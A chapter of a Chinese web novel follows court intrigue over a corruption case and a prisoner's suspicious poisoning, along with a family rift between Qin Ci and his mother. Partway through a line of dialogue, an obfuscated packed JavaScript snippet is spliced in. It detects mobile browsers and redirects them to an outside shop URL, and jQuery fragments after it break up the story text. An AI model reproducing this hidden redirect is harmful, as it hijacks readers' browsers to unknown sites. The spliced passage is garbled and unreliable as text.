秦辞冷嗤:“难道你要我为了你放弃我自己的前途吗?你为人母为子付出不是天经地义吗?你怪我背叛,那是因为你付出的方式本来就有问题啊?你明明可以不做那些事,我从来没有求你去做,你给的东西我从来不是我要的!”
“不是你想要的?秦辞,你现在在这假清高什么?若不是我杀了你的宗亲,那个家主之位就算是落到鸡身上都轮不到你来坐。”宋和见目中的狠戾不加掩饰,“我这辈子最后悔的事就是生下你后没把你掐死。”
秦辞向后退了半步,良久才道:“好、行,我知道了,你放心吧,要不是因为婚宴体面,就算你死了我也不会再见你的,以后也绝不打扰你。至于那把剑,你想给那个废物,可以,就放在书房,你让他自己去拿,我看看他有没有那个本事。”
他扔下这句话就甩身离去,好似这样就能从宋和见那里掰回一局,可那日的对话却还历历在目,宣政殿外,秦辞环视四周,众臣陆陆续续向前去,宋不摇远远看见他,上前道:“贤孙忙人呐,若非今日是户部一事定音之日,你必须到场,你这会儿可和孙媳好着呢。”
秦辞:“宋相说笑了,哪有为了私事耽误公事的道理?”
宋不摇冷哼:“贤孙这话就见外了,公私分明是好,但也不能太死守道理,否则难免伤了感情,误了自己。”
“宋相说的是,晚辈谨遵教诲。”秦辞敷衍应下,就径自进殿。
宋不摇跟上他,低声耳语:“当年我不忍自己的骨肉在锁香阁饱尝疾苦,将和见接回家抚养,琴棋书画派人专门教习,甚至默许她偷偷和傅翊习武,我自知对她有愧,她做什么都睁只眼闭只眼随她而去,可她心高气傲不服管教,最后聪明反被聪明误,当真叫人唏嘘啊。”
秦辞轻笑:“宋相的家事就不必讲给晚辈听了,晚辈平日说话若得罪了您,在这给您道个歉。”
宋不摇见他不为所动,叹了口气:“秦统领这是哪里的话,老臣年事已高,碰见晚辈难免啰嗦些,你别见怪才好。”
言罢抚须而去,秦辞冷着脸进到殿内,傅翊已在内等候多时,两人短暂的对视后心照不宣地移开了视线。
待众臣归列,元清不急不徐地走到龙椅前坐下,众臣下跪高呼“吾皇万岁万岁万万岁”,他双目难掩疲倦:“平身。”
“户部之事,查得如何了?”
他扫向范通和秦辞,秦辞率先一步上前道:“据臣所查,户部贪腐确有其事,涉事人员已拟名列出,人员众多,虽每人所涉银两较少,但积少成多集腋成裘,万不能因为单个人所贪虽少而纵容轻罚。至于户部尚书蔡大人的罪状,还请皇上传召卢斌。”
卢斌虽被判了诛三族的罪,但碍于其他人尚未定音,他还尚在天牢未被行刑。
元清示意福如安传召卢斌,几个侍卫匆匆向天牢去,不多时又匆匆赶来,面露惧色:“皇、皇上,卢斌他、他畏罪自尽了!”
此话一出,如雷轰顶。傅翊立刻抢先一步出列:“皇上,卢斌已被下诏诛三族,就算自尽他的家人也难逃一死,他何须多此一举,此事定有蹊跷!”
元清抬眉:“你的意思是有人杀了卢斌咯?”
傅翊:“臣不敢妄自揣测,只是此事太过反常。”
范通褶皱的脸拧成一团:“卢斌玩忽职守、谎报军情、贿赂官吏、造假赋税,致胜州百姓苦不堪言、叛军肆意横行,其罪滔天,死不为过。”
傅翊瞪了他一眼:“卢斌乃是臣子,犯的乃是臣罪,臣由君束,要杀也得是朝廷钦点的刽子手来杀,他要死也得是陛下赐死。”
宋不摇冷笑:“卢斌懦弱无能,害怕斩首之刑,自尽求个体面也不是没有可能,傅将军无凭无据可不能血口喷人呐?更何况,这事儿是监察司主理,傅将军比他们还急切未免有些越俎代庖了。”
“臣只是觉得此事有违常理,并无含沙射影之意,宋相莫要多虑了。”傅翊拱手,“皇上,不论真相如何此事都必须彻查,其一卢斌若真是自尽,为何此间一个月都不自尽,偏偏选在临了关头呢?其中定有隐情。其二卢斌若为他杀,就此作罢岂不是不把朝廷风纪看在眼里?不把皇威看在眼里?臣恳请皇上彻查此事!”
元清斟酌片刻,对侍卫道:“卢斌何时死的?又是怎么死的?”
侍卫答:“据狱卒所言,卢斌昨天还好好的,方才夜中忽然腹痛不止、口吐白沫,早朝前刚去了,看样子像是中毒,仵作们正在验呢。”
“朕知道了。”元清了然,“宋相,这中毒而死可比斩首要痛苦多了,你给的理由是不是有些站不住脚?”
宋不摇目中闪过一丝不解,很快又恢复冷静:“臣随口猜测而已,毕竟毒杀在牢官员乃是大罪,臣断不希望此事发生。”
元清沉默片刻,静静扫视着阶下的众臣,最后把目光落在秦辞身上:“秦统领怎么看?”
秦辞出列:“臣前日刚刚审过卢斌,他亲口承认了蔡入河的种种罪状,于情于理都该减轻罪责,可偏偏到了定性之日却畏罪自尽,确实不合常理。”
元清始终没有光采的眼睛忽然一凛,像是已经决断好了结果一般:“秦统领,朕念及你近日有婚事抽不开身,卢斌之死朕不怪你,但范通,你身为监察司左统领却没能看管好犯人,这是严重失职,卢斌暴毙一案你们监察司就不必查了。”
范通噗通一下跪倒在地:“皇上,臣冤枉啊!”
“冤枉?怎么,你最近也结婚吗?”元清冷眼剜道,“卢斌之死交由大理寺查办,不过前些日子令儿倒和我说傅卿的妹妹有些能耐,此事和傅卿关系匪浅,朕特许寒司阶去和大理寺一同查办此事,傅卿以为如何?”
傅翊诧异地看向元清,一时不明他目中暗含的笑意:“臣谢皇上圣恩。”
元清不理会他的惊讶,看向别人:“诸位爱卿,还有要事要奏吗?”
兵部尚书石邕出列道:“臣有本要奏。”
“臣要参傅将军。边北四州自战争结束后一直在大力重建,但苦于祁民不服管教,去年的折子提到修改赋税也正是因为此事,那些不愿成为佃农的原祁民在边北四州霸道横行,臣起初以为是祁人天生高大魁梧、擅长武力,可后来所查,竟发现这些人曾经都受过傅将军训练,以民兵形式参与过战争,臣虽知傅将军本意是好,但此举也为如今的难办局面埋下祸根,边北四州苦祁民久矣。”
傅翊扬眉,不卑不亢:“边北四州自古以来都乃康祁百姓混居之地,康祁一战之后边北四州重新划定疆土,部分祁民因流离失所失去了原有的土地,没入无地的佃农之列自然不满。边北如今乱局全因那几个太守管理无方,石大人不去参他们反来为难我是不是有点可笑了?”
石邕:“我大康百姓中的无地佃农数不胜数,从来没有一个是因为没地就要霸道横行抗议的,臣查祁史,那些祁民在自家的地上也鲜少有因地抗议的事迹,偏偏到了我们康国就敢了,岂不正是因为曾受练兵而享了不用种地也能有钱粮的福,还因此武力胜于普通百姓才敢作威作福?”
傅翊:“石大人好一个搬弄是非,康祁百年血仇,岂会因为一朝胜负就隔阂全消?原祁民之所以在我康土而不在祁土动乱,正是因为未受在祁国的待遇,君子不患寡而患不均,若边北四州的官员能一视同仁,以身作则引导百姓与原祁民共处,终有一日那些祁民会如如今边北四州的康民一样归服我大康。若依你所言,怎么康国那些卸甲归乡的士兵们没有动乱呢?”
石邕抚着大腹便便的肚子悠悠道:“傅将军
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990328|190865||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所言虽有道理,但也没法推脱他们能动乱的资本正是因为曾受练兵一事不是吗?”
石邕虽为兵部尚书,却是文官出身,亦是宋不摇一党的人,傅翊索性不再和他争吵:“若石大人执意如此认为,臣也只能请皇上作主。”
元清心不在焉:“边北四州的事朕再考虑考虑人选,今日便先作罢,退朝吧。”
石邕不满地瞟了傅翊一眼,傅翊一个眼神也不留地转身就走,径自走到秦辞身侧,秦辞率先开口:“傅大人,事出意外也非我所愿,但答应你们的事我已经做了,你若需要我现在就去把剩下的证据交给你,后面的事你可别指望我再掺合。”
傅翊看向他:“秦统领最好说到做到,真的不再掺合。”
秦辞冷笑:“此事自然不会再问,告辞。”
言罢旋身而去,傅翊压下心中的烦闷,元清出乎意料的配合反倒让他更加惴惴,换作平时他定要赶紧回去先和宋和见商讨,可今日想起她、想起夜里她万念俱灰的脸庞、想起那些如碎镜般的字句,心头就像被剜了一道又一道,颤颤地疼。
他加快脚步离开皇宫,寒镜月远远看见他匆匆赶来:“哥哥何事如此匆忙?”
傅翊愁眉不展:“卢斌死了。”
短暂的错愕在寒镜月脸上闪过,很快又冷下脸:“宋相的人杀的?”
“暂且没有证据,只知道狱卒说他今日凌晨腹痛不止、口吐白沫,没多久就死了,但还有一事更为可疑。”傅翊担忧地看着她,“皇上在朝上说大公主赞许你的能力,又因此事与我关系匪浅,所以特许你同大理寺一道去查卢斌暴死一案。”
寒镜月警觉地皱眉:“我与大公主倒算不上有交情,不过此事交由我经手也不算坏事,我会小心的。”
“你办事我向来放心,不过……”傅翊犹豫片刻,最终还是决定说出来,“此事你带上阿浔一起吧,既然误会已除,他也愿意跟着我们,不妨带他历练一番。”
寒镜月沉下眸子:“他……真的全都知道吗?”
傅翊又想起宋和见。从前刚把林浔带回家的时候,她温柔地说,要把他教成一个善良、正直、温和的孩子,那时他读不懂她眼中的悲伤,究竟是在怜惜林浔,还是在想自己。
他后知后觉地想起了很多。姐姐总是静静地对我笑着,其实她很难过吧?为什么我没有早点明白呢,她在怨我吗?还是在怨自己?为什么我说了那么多次不必在乎,你却反而更加悲伤呢?
“哥?哥?”
寒镜月喊了两声,傅翊怔怔地回过神:“啊……抱歉,不过直接坦白一些事反而会让阿浔难以接受吧?有些事总得自己慢慢去发现才能更好消解,更何况……我们没有他想得那么好。”
寒镜月伸手擦掉他眼角的泪:“哥,你怎么也学林浔成天哭哭啼啼?我听说你和嫂子吵架了,到底怎么回事?”
傅翊尴尬地向后一步:“你听谁说的,我们没吵架。”
“哥,你的眼睛可比嘴巴诚实。”寒镜月轻笑,“那查案一事何时开始,现在?还是等大理寺的人一起?”
傅翊:“不必等他们,你们自己查自己的。能查到哪算哪,此事背后牵连众多,你们收集证据就好,千万不要打草惊蛇。若有需要,尽管联系我安置的眼线。”
他顿了顿:“我先回趟家,晚些将一些细节理出给你,届时我们再对。”
“行,你快回去吧。”寒镜月眨眨眼睛,“有时候真觉得哥哥还不如林浔懂嫂嫂,你要是真想不明白不如问他去?”
傅翊幽怨地瞪了她一眼:“你们都这么觉得?”
寒镜月嗤笑:“那哥哥自个儿问嫂嫂去,我还有任务在身,恕不奉陪!”
言罢策马而去,头也不回地跑了。